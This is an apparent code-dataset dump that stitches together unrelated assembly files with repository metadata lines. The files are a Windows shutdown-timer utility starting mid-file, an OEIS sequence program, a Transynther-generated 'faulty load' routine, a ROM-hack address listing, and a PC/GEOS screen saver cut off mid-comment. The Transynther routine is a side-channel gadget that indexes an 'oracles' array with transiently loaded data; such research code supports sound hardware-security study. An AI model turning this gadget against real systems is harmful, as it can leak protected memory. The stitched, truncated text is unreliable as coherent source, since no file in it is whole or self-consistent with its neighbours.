LOCAL RetLen :DWORD LOCAL pRetLen :DWORD LOCAL tkp :TOKEN_PRIVILEGES LOCAL tkp_old :TOKEN_PRIVILEGES LOCAL privName$ :DWORD sas privName$, "SeShutdownPrivilege" invoke GetCurrentProcess MOV hProcess, eax LEA EDI, hToken invoke OpenProcessToken, hProcess,TOKEN_ADJUST_PRIVILEGES OR TOKEN_QUERY, EDI .IF (EAX != FALSE) LEA EDI, tkp.Privileges[0].Luid invoke LookupPrivilegeValue, NULL,privName$,EDI LEA EAX, RetLen MOV pRetLen, EAX MOV tkp.PrivilegeCount,1 MOV tkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED invoke AdjustTokenPrivileges,hToken,FALSE,ADDR tkp, SIZEOF tkp_old, ADDR tkp_old,pRetLen .ENDIF RET AdjustPrivilege ENDP ;This is the Thread Procedure called when user selects the timer option. And it will do the comparison of user ;selected time and Current time. And when time are equal it will call the Countdown thread and finally it will ;do the action user asked..... TimerProc proc LOCAL st1 : SYSTEMTIME LOCAL st2 : SYSTEMTIME LOCAL ft1 : FILETIME LOCAL ft2 : FILETIME LOCAL szBadTime$ : DWORD sas szBadTime$,"Please enter a valid/future time" LOOP1: ;Create a small delay invoke Sleep, 1000 ;Showing Timer Enabled invoke SendDlgItemMessage,DlgHandle, IDC_SB1,SB_SETTEXT,1,addr szTimerEnabled ;Get time from DTP & convert it into Filetime, We don't need Millisecond accuracy so make that zero invoke SendDlgItemMessage, DlgHandle, IDC_DTP, DTM_GETSYSTEMTIME,0,addr st1 mov st1.SYSTEMTIME.wMilliseconds,0 invoke SystemTimeToFileTime, addr st1, addr ft1 ;Get our local time and convert it to Filetime invoke GetLocalTime, addr st2 mov st2.SYSTEMTIME.wMilliseconds,0 invoke SystemTimeToFileTime, addr st2, addr ft2 ;Compare the two filetime and if same do the Action user selected invoke CompareFileTime, ADDR ft1, ADDR ft2 .IF eax == 0 ;Hides the main window invoke ShowWindow, DlgHandle,SW_HIDE ;Calls the countdown dialog and shows Timer disabled and stops the comparison thread invoke DialogBoxParam, hInstance, IDD_DLGBOX2,0, addr DlgProc2, NULL invoke SendDlgItemMessage,DlgHandle, IDC_SB1,SB_SETTEXT,1,addr szTimerDisabled invoke GetExitCodeThread, hThread, addr lpExitCode1 invoke TerminateThread,hThread, lpExitCode1 .ELSEIF EAX == 0FFFFFFFFH ;If user selected an old time warn him invoke MessageBox, DlgHandle,szBadTime$, addr szErrorCaption, MB_OK+ MB_ICONERROR invoke SendDlgItemMessage,DlgHandle, IDC_SB1,SB_SETTEXT,1,addr szTimerDisabled invoke GetExitCodeThread, hThread, addr lpExitCode1 invoke TerminateThread,hThread, lpExitCode1 RET .ENDIF ;Loop the procedure until time is equal jmp LOOP1 Ret TimerProc EndP ;This is a Thread Procedure called when the times are equal while using timers, and this will show a ;10 second countdown. ThreadProc2 PROC LOCAL szRegHandle1 : DWORD LOCAL szRegHandle2 : DWORD LOCAL szStringLength2 : DWORD LOCAL nFlag : BYTE LOCAL szBuffer [60] : BYTE LOCAL szMessage [50] : BYTE LOCAL szFirst$ : DWORD LOCAL szLast$ : DWORD sas szFirst$," will happen in ";,0 sas szLast$," Seconds....";,0 MOV nValue, FALSE ;Registry checking on Sound invoke KeyValueCheck, addr szKeyApplication, addr szSound .if nValue == TRUE mov nFlag, 1 .elseif nValue == FALSE mov nFlag, 0 .endif push ebx push esi xor ebx, ebx xor esi, esi mov ebx,10 LOOP1: xor eax, eax .if nFlag == 1 invoke MessageBeep,0FFFFFFFFh .endif invoke RtlZeroMemory, addr szBuffer, 50 invoke wsprintf, addr szBuffer,addr szCountFormat, EBX invoke Sleep,1000 invoke SetWindowText,DlgHandle2, addr szBuffer ;Set Max and Min Ranges of progressbar xor edx, edx mov dl, 10 shl edx, 16 mov dl, 00 invoke SendDlgItemMessage, DlgHandle2, IDC_PB1,PBM_SETRANGE,0,EDX invoke SendDlgItemMessage, DlgHandle2, IDC_PB1,PBM_SETPOS,ESI,0 ;Showing selected action in countdown .if dwSelectedOperation == ID_OPERATION_SHUTDOWN lea eax,[szShutdown] .elseif dwSelectedOperation == ID_OPERATION_RESTART lea eax,[szRestart] .elseif dwSelectedOperation == ID_OPERATION_STANDBY lea eax,[szStandby] .elseif dwSelectedOperation == ID_OPERATION_LOGOFF lea eax,[szLogOff] .elseif dwSelectedOperation == ID_OPERATION_HIBERNATE lea eax,[szHibernate] .elseif dwSelectedOperation == ID_OPERATION_LOCK lea eax,[szLockSystem] .elseif dwSelectedOperation == ID_OPERATION_SHUTMONITOR lea eax,[szOffMonitor] .elseif dwSelectedOperation == ID_OPERATION_STARTSCREENSAVER lea eax,[szScreenSaver] .elseif dwSelectedOperation == ID_OPERATION_LIGHTSHUTDOWN lea eax,[szLightShutdown] .elseif dwSelectedOperation == ID_OPERATION_LIGHTRESTART lea eax,[szLightRestart] .elseif dwSelectedOperation == ID_OPERATION_EXIT lea eax,[szExitApp] .endif invoke lstrcpy, addr szMessage,eax ;invoke StringCchCopy, addr szMessage, 50, eax invoke lstrcat, addr szMessage,szFirst$ invoke lstrcat, addr szMessage, addr szBuffer invoke lstrcat, addr szMessage,szLast$ invoke SendDlgItemMessage, DlgHandle2, IDC_STATICMESS, WM_SETTEXT, 0, addr szMessage inc esi dec ebx cmp ebx,-1 ; To make count to zero than to one jnz LOOP1 invoke SendMessage, DlgHandle2,WM_CLOSE,0,0 invoke DoOperations, DlgHandle pop esi pop ebx Ret ThreadProc2 EndP
31.637195
111
0.732871
695002971ffdc78959f1673913e18df68f609882
940
asm
Assembly
oeis/338/A338234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/338/A338234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/338/A338234.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A338234: Sum of the numbers less than n whose square does not divide n. ; 0,0,2,3,9,14,20,25,32,44,54,63,77,90,104,113,135,149,170,187,209,230,252,273,294,324,347,375,405,434,464,489,527,560,594,618,665,702,740,777,819,860,902,943,986,1034,1080,1121,1168,1219,1274,1323,1377,1427,1484,1537,1595,1652,1710,1767,1829,1890,1949,2001,2079,2144,2210,2275,2345,2414,2484,2544,2627,2700,2769,2847,2925,3002,3080,3153,3227,3320,3402,3483,3569,3654,3740,3825,3915,4001,4094,4183,4277,4370,4464,4553,4655,4745,4847,4932 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $7,2 mov $8,0 mov $9,$0 lpb $7 mov $0,$9 sub $7,1 add $0,$7 trn $0,1 seq $0,338231 ; Sum of the numbers less than or equal to n whose square does not divide n. mov $5,$0 cmp $5,0 add $0,$5 mov $6,$7 mul $6,$0 add $8,$6 lpe min $9,1 mul $9,$0 mov $0,$8 sub $0,$9 sub $0,1 add $3,$0 lpe mov $0,$3
27.647059
437
0.637234
1dd455a439b2d58faaaf837395c3a889b72379ea
2,643
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_34_132.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_34_132.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_34_132.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rdi push %rdx push %rsi // Store lea addresses_RW+0x15cf4, %r14 nop nop nop inc %r9 movw $0x5152, (%r14) nop nop add $2363, %rdi // Store lea addresses_normal+0xbb74, %r14 nop cmp $41803, %r11 mov $0x5152535455565758, %rdx movq %rdx, %xmm7 vmovups %ymm7, (%r14) nop xor $14524, %rsi // Store lea addresses_UC+0x7574, %r11 nop nop nop nop xor $24764, %r12 movl $0x51525354, (%r11) nop nop xor %r11, %r11 // Store lea addresses_UC+0xa4ec, %r14 nop nop nop nop nop and %rdx, %rdx mov $0x5152535455565758, %r12 movq %r12, (%r14) nop nop nop nop sub $64152, %r11 // Store lea addresses_D+0x1c05c, %r9 nop add $16560, %r12 movw $0x5152, (%r9) nop nop nop inc %rdi // Store mov $0x95f, %r11 nop nop nop nop nop sub $41484, %rdi movl $0x51525354, (%r11) nop nop nop nop add %r14, %r14 // Store lea addresses_D+0x145f4, %r14 nop nop nop xor %rsi, %rsi movw $0x5152, (%r14) nop nop nop nop xor $36804, %rdi // Faulty Load lea addresses_normal+0x90f4, %r11 clflush (%r11) nop nop nop nop nop cmp $19781, %r9 vmovups (%r11), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_UC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'34': 34} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
18.354167
126
0.64056
aa5169a2c1c92413387aac2e6cfb9cf27ad03c6c
356
asm
Assembly
dino/lcs/base/77D.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
dino/lcs/base/77D.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
dino/lcs/base/77D.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0207F4 move.b ($1,A0), ($41,A6) [base+77C] 0207FA move.l ($2,A0), ($42,A6) [base+77D] 021506 move.b ($41,A6), D2 02150A mulu.w D2, D3 [base+77D] 022414 move.b ($1,A0), ($41,A6) [base+77C] 02241A move.l ($2,A0), ($42,A6) [base+77D] copyright zengfr site:http://github.com/zengfr/romhack
32.363636
54
0.643258
3b2170d24d19f6282e5bee9ba42d1591e7eec1dc
19,286
asm
Assembly
Appl/Saver/Rotate/rotate.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Saver/Rotate/rotate.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Saver/Rotate/rotate.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: rotate.asm AUTHOR: Gene Anderson, May 10, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 5/10/93 Initial revision DESCRIPTION: Code for rotate screen-saver library $Id: rotate.asm,v 1.1 97/04/04 16:49:01 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include stdapp.def include timer.def include initfile.def include backgrnd.def UseLib ui.def UseLib saver.def include rotate.def ;============================================================================== ; ; OBJECT CLASSES ; ;============================================================================== RotateApplicationClass class SaverApplicationClass MSG_ROTATE_APP_DRAW message ; ; Draw...sent by our timer ; ; Pass: nothing ; Return: nothing ; RAI_center Point <> RAI_radius word 0 RAI_angle word 0 RAI_bitmap hptr 0 noreloc RAI_bitmap RAI_timerHandle hptr 0 noreloc RAI_timerHandle RAI_timerID word RAI_random hptr 0 noreloc RAI_random RAI_doBackground BooleanByte BB_FALSE RotateApplicationClass endc RotateProcessClass class GenProcessClass RotateProcessClass endc ;============================================================================== ; ; VARIABLES ; ;============================================================================== include rotate.rdef ForceRef RotateApp udata segment udata ends idata segment RotateProcessClass mask CLASSF_NEVER_SAVED RotateApplicationClass idata ends RotateCode segment resource .warn -private rotateOptionTable SAOptionTable < rotateCategory, length rotateOptions > rotateOptions SAOptionDesc < rotateBGKey, size RAI_doBackground, offset RAI_doBackground > .warn @private rotateCategory char 'rotate', 0 rotateBGKey char 'background', 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateLoadOptions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load our options from the ini file. CALLED BY: MSG_META_LOAD_OPTIONS PASS: *ds:si = RotateApplication object RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateLoadOptions method dynamic RotateApplicationClass, MSG_META_LOAD_OPTIONS uses ax, es .enter segmov es, cs mov bx, offset rotateOptionTable call SaverApplicationGetOptions .leave mov di, offset RotateApplicationClass GOTO ObjCallSuperNoLock RotateLoadOptions endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateAppGetWinColor %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Ensures the screen isn't cleared on startup. CALLED BY: MSG_SAVER_APP_GET_WIN_COLOR PASS: *ds:si = RotateApplication object RETURN: ax = WinColorFlags DESTROYED: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateAppGetWinColor method dynamic RotateApplicationClass, MSG_SAVER_APP_GET_WIN_COLOR ; ; Let the superclass do its little thing. ; mov di, offset RotateApplicationClass call ObjCallSuperNoLock ornf ah, mask WCF_TRANSPARENT ret RotateAppGetWinColor endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateAppSetWin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Record the window and gstate to use and start things going. CALLED BY: MSG_SAVER_APP_SET_WIN PASS: *ds:si = RotateApplication object dx = window bp = gstate RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateAppSetWin method dynamic RotateApplicationClass, MSG_SAVER_APP_SET_WIN .enter ; ; Let the superclass do its little thing. ; mov di, offset RotateApplicationClass call ObjCallSuperNoLock ; ; Create a random number generator. ; call TimerGetCount mov dx, bx ; dxax <- seed clr bx ; bx <- allocate a new one call SaverSeedRandom mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov ds:[di].RAI_random, bx if 0 ; ; Initialize background if requested ; call InitBackground endif ; ; Initialize the spot to rotate ; call InitRotateSpot ; ; Start up the timer to draw the first time ; call RotateSetTimer .leave ret RotateAppSetWin endm if 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitBackground %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a random background bitmap if requested CALLED BY: RotateAppSetWin() PASS: *ds:si - RotateApplication object RETURN: none DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitBackground proc near class RotateApplicationClass bgFile local FileLongName .enter mov di, ds:[si] add di, ds:[di].RotateApplication_offset tst ds:[di].RAI_doBackground ;draw background? jz noBackground call FilePushDir ; ; Go to the background bitmap directory ; call GotoBackgroundDirectory jc quitError ;branch if error ; ; Choose a random background and open it ; call ChooseRandomBackground jc quitError ;branch if error push ds segmov ds, ss lea dx, ss:bgFile ;ds:dx <- ptr to filename mov ax, (VMO_OPEN shl 8) or \ mask VMAF_USE_BLOCK_LEVEL_SYNCHRONIZATION or \ mask VMAF_FORCE_DENY_WRITE or \ mask VMAF_FORCE_READ_WRITE call VMOpen pop ds jc quitError ;branch if error opening ; ; Draw the beast ; mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov cx, ds:[di].SAI_bounds.R_right sub cx, ds:[di].SAI_bounds.R_left ;cx <- width mov dx, ds:[di].SAI_bounds.R_bottom sub dx, ds:[di].SAI_bounds.R_top ;dx <- height call GetGState ;di <- handle of GState mov ax, SAVER_BITMAP_TILE ;ax <- SaverBitmapMode call SaverDrawBGBitmap ; ; Clean up after ourselves ; clr al ;al <- errors OK call VMClose quitError: call FilePopDir noBackground: .leave ret InitBackground endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GotoBackgroundDirectory %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Go to the BACKGRND directory CALLED BY: InitBackground() PASS: none RETURN: carry - set if error DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ backgroundDir char BACKGROUND_DIR, 0 GotoBackgroundDirectory proc near uses ax, bx, dx, ds .enter mov bx, SP_USER_DATA ;bx <- StandardPath segmov ds, cs mov dx, offset backgroundDir ;ds:dx <- ptr to path name call FileSetCurrentPath .leave ret GotoBackgroundDirectory endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ChooseRandomBackground %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Choose a random background from what's available CALLED BY: InitBackground() PASS: *ds:si - RotateApplication object ss:bp - inherited locals RETURN: carry - set if error ss:bgFile - name of background DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/18/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ fooBG char "Aqua", 0 ChooseRandomBackground proc near uses ds, es, si, di class RotateApplicationClass .enter inherit InitBackground segmov ds, cs mov si, offset fooBG segmov es, ss lea di, bgFile mov cx, length fooBG rep movsb clc ;carry <- no error .leave ret ChooseRandomBackground endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitRotateSpot %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the spot to rotate CALLED BY: RotateAppSetWin(), RotateDraw() PASS: *ds:si - RotateApplication object RETURN: none DESTROYED: ax PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitRotateSpot proc near uses di class RotateApplicationClass .enter mov di, ds:[si] add di, ds:[di].RotateApplication_offset ; ; Get a random center ; mov ax, ds:[di].SAI_bounds.R_bottom sub ax, ds:[di].SAI_bounds.R_top ;ax <- max # sub ax, ROTATE_BITMAP_HEIGHT call GetRandomNumber add ax, ds:[di].SAI_bounds.R_top ;ax <- random y mov ds:[di].RAI_center.P_y, ax mov ax, ds:[di].SAI_bounds.R_right sub ax, ds:[di].SAI_bounds.R_left ;ax <- max # call GetRandomNumber add ax, ds:[di].SAI_bounds.R_left ;ax <- random x mov ds:[di].RAI_center.P_x, ax ; ; Get a random radius ; mov ax, ROTATE_MAX_RADIUS-ROTATE_MIN_RADIUS call GetRandomNumber add ax, ROTATE_MIN_RADIUS ;ax <- random radius mov ds:[di].RAI_radius, ax ; ; Initialze the angle ; clr ds:[di].RAI_angle ; ; Draw a (hopefully) colorful dot to liven up gray areas ; call GetGState ;di <- GState handle mov ax, 16 call GetRandomNumber CheckHack <CF_INDEX eq 0> call GrSetAreaColor ; ; Get the bitmap at the position specified, destroying the old ; one if necessary. The bitmap starts in a horizontal position, ; so we only need to adjust the x position initially. ; push di mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov cx, ds:[di].RAI_radius ;cx <- radius mov ax, ds:[di].RAI_center.P_x sub ax, cx mov bx, ds:[di].RAI_center.P_y ;(ax,bx) <- (x,y) of source pop di call GrDrawPoint if ROTATE_ANGLE_STOP eq 180 shl cx, 1 ;cx <- width = radius*2 endif mov dx, ROTATE_BITMAP_HEIGHT ;dx <- height call GrGetBitmap ;bx <- bitmap, if any call SetBitmapFreeOld .leave ret InitRotateSpot endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetRandomNumber %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get a random number CALLED BY: UTILITY PASS: *ds:si - RotateApplication object ax - max value RETURN: ax - random value between 0 and max-1 DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetRandomNumber proc near uses bx, di, dx class RotateApplicationClass .enter mov_tr dx, ax ;dx <- max value mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov bx, ds:[di].RAI_random ;bx <- shme for random #s call SaverRandom mov_tr ax, dx ;ax <- random # .leave ret GetRandomNumber endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetGState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get our GState CALLED BY: UTILITY PASS: *ds:si - RotateApplication object RETURN: di - handle of GState DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetGState proc near class RotateApplicationClass .enter mov di, ds:[si] add di, ds:[di].RotateApplication_offset mov di, ds:[di].SAI_curGState ;di <- handle of GState .leave ret GetGState endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateAppUnsetWin %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stop saving the screen. CALLED BY: MSG_SAVER_APP_UNSET_WIN PASS: *ds:si = RotateApplication object ds:di = RotateApplicationInstance RETURN: dx = old window bp = old gstate DESTROYED: ax, cx PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RotateAppUnsetWin method dynamic RotateApplicationClass, MSG_SAVER_APP_UNSET_WIN ; ; Stop the draw timer. ; clr bx xchg bx, ds:[di].RAI_timerHandle mov ax, ds:[di].RAI_timerID call TimerStop ; ; Nuke the random number generator. ; clr bx xchg bx, ds:[di].RAI_random call SaverEndRandom ; ; Nuke the bitmap, if any ; clr bx ;bx <- no new bitmap call SetBitmapFreeOld ; ; Call our superclass to take care of the rest. ; mov ax, MSG_SAVER_APP_UNSET_WIN mov di, offset RotateApplicationClass GOTO ObjCallSuperNoLock RotateAppUnsetWin endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetBitmapFreeOld %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set our bitmap, and free any old bitmap CALLED BY: RotateAppUnsetWin(), InitRotateSpot() PASS: *ds:di - RotateApplication object bx - handle of bitmap to set (0 for none) RETURN: none DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 5/10/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SetBitmapFreeOld proc near uses bx, di class RotateApplicationClass .enter mov di, ds:[si] add di, ds:[di].RotateApplication_offset xchg bx, ds:[di].RAI_bitmap tst bx ;any bitmap? jz noBitmap ;branch if not call MemFree noBitmap: .leave ret SetBitmapFreeOld endp ;============================================================================== ; ; DRAWING ROUTINES ; ;============================================================================== COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RotateSetTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Set a one-shot timer to draw the next line. CALLED BY: QASetWin, QADraw PASS: *ds:si = RotateApplication object RETURN: nothing 